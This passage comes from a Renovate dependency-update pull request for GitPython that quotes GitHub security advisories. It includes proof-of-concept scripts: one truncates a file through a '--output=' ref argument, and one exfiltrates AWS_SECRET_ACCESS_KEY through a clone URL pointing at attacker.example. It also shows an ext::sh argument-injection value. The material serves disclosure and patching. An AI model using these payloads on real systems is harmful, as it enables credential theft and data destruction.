d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')
open(victim,'w').write('do not delete\n')
print('[*] before:', repr(open(victim).read()))
user_ref = '--output=' + victim          # value an app forwards as a "ref/branch"
try:
    list(repo.iter_commits(user_ref))
except git.exc.GitCommandError as e:
    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])
print('[+] after :', repr(open(victim).read()), '<- truncated')

Verbatim output:

[*] before: 'do not delete\n'
[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Severity

  • CVSS Score: 8.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

GHSA-rwj8-pgh3-r573

More information

Details

Summary

Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.

Details

Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.

Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:

git/cmd.py (v3.1.50), lines 907–925:

@&#8203;classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
    """Remove any backslashes from URLs to be written in config files.
    ...
    """
    if is_cygwin is None:
        is_cygwin = cls.is_cygwin()

    if is_cygwin:
        url = cygpath(url)
    else:
        url = os.path.expandvars(url)          # <-- line 921
        if url.startswith("~"):
            url = os.path.expanduser(url)
        url = url.replace("\\\\", "\\").replace("\\", "/")
    return url

Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:

git/repo/base.py (v3.1.50), lines 1407–1418:

if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)

proc = git.clone(
    multi,
    "--",
    Git.polish_url(url),          # <-- line 1417: expanded URL sent to `git clone`
    clone_path,
    ...
)

Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:

https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git

is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.

polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.

Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.

PoC

Tested against gitpython==3.1.50 on Linux with Python 3 and git on PATH.

python3 -m venv /tmp/gp-venv
/tmp/gp-venv/bin/pip install gitpython==3.1.50
/tmp/gp-venv/bin/python poc.py

poc.py:

#!/usr/bin/env python3
"""
PoC: environment-variable exfiltration via Repo.clone_from() URL.

Demonstrates that an attacker-controlled `url` argument to Repo.clone_from()
is passed through os.path.expandvars() before being given to `git clone`,
so `$NAME` tokens in the URL are replaced with the server process's
environment-variable values and transmitted to the attacker-named host.

The PoC intercepts the Popen argv to show the exact URL handed to `git`
without performing real network I/O.
"""
import os
import sys
import subprocess
import tempfile

##### Simulate a sensitive server-side environment variable.
os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

import git                              # noqa: E402
from git import Git, Repo               # noqa: E402

print(f"gitpython version: {git.__version__}")

##### --- Layer 1: Git.polish_url() directly --------------------------------------
attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git"
polished = Git.polish_url(attacker_url)
print("\n[Layer 1] polish_url result:")
print(f"  input : {attacker_url}")
print(f"  output: {polished}")
if os.environ["AWS_SECRET_ACCESS_KEY"] in polished:
    print("  -> secret SUBSTITUTED into URL by polish_url()")

##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------
captured = {}
orig_popen = subprocess.Popen

class CapturingPopen(orig_popen):
    def __init__(self, cmd, *a, **kw):
        if isinstance(cmd, (list, tuple)) and "clone" in cmd:
            captured["cmd"] = list(cmd)
        super().__init__(cmd, *a, **kw)

subprocess.Popen = CapturingPopen
import git.cmd as gitcmd                # noqa: E402
gitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen

dest = tempfile.mkdtemp(prefix="gp_poc_")
try:
    Repo.clone_from(attacker_url, os.path.join(dest, "out"))
except Exception as e:
    # The clone fails (attacker.example does not resolve); we only need argv.
    print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}")

subprocess.Popen = orig_popen

print("\n[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
    print(f"  {tok}")

cmd = captured.get("cmd", [])
url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"\n[Layer 2] URL argument given to git: {url_arg}")

secret = os.environ["AWS_SECRET_ACCESS_KEY"]
if url_arg and secret in url_arg:
    print(
        "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated "
        "into the remote clone URL; git would transmit it to attacker.example."
    )
    sys.exit(0)
print("\nNOT VULNERABLE")
sys.exit(1)

Expected output:

gitpython version: 3.1.50

[Layer 1] polish_url result:
  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git
  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  -> secret SUBSTITUTED into URL by polish_url()

[Layer 2] clone_from raised (expected): GitCommandError

[Layer 2] argv passed to `git clone` subprocess:
  git
  clone
  -v
  --
  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  /tmp/gp_poc_XXXXXXXX/out

[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git

VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.

The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.

Impact

Any application that calls Repo.clone_from() (or Repo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.

Suggested fix: Remove the os.path.expandvars() (and os.path.expanduser()) call from Git.polish_url() for inputs that are remote URLs (contain :// or match user@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on Repo(path, expand_vars=…). Additionally, apply check_unsafe_protocols() to the post-transformation URL so no future polish_url change can silently bypass the ext:: filter.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

gitpython-developers/GitPython (GitPython)

[v3.1.52](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.52

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot changed the title chore(deps): update dependency gitpython to v3.1.47 [security] chore(deps): update dependency gitpython to v3.1.49 [security] May 8, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-gitpython-vulnerability branch 2 times, most recently from 1520bb0 to 36dfd84 Compare May 9, 2026 01:33
@renovate renovate Bot changed the title chore(deps): update dependency gitpython to v3.1.49 [security] chore(deps): update dependency gitpython to v3.1.50 [security] May 9, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-gitpython-vulnerability branch from 36dfd84 to 93f0aa0 Compare July 24, 2026 09:29
@renovate renovate Bot changed the title chore(deps): update dependency gitpython to v3.1.50 [security] chore(deps): update dependency gitpython to v3.1.51 [security] Jul 24, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-gitpython-vulnerability branch from 93f0aa0 to c455bd7 Compare July 24, 2026 19:47
@renovate renovate Bot changed the title chore(deps): update dependency gitpython to v3.1.51 [security] chore(deps): update dependency gitpython to v3.1.52 [security] Jul 24, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants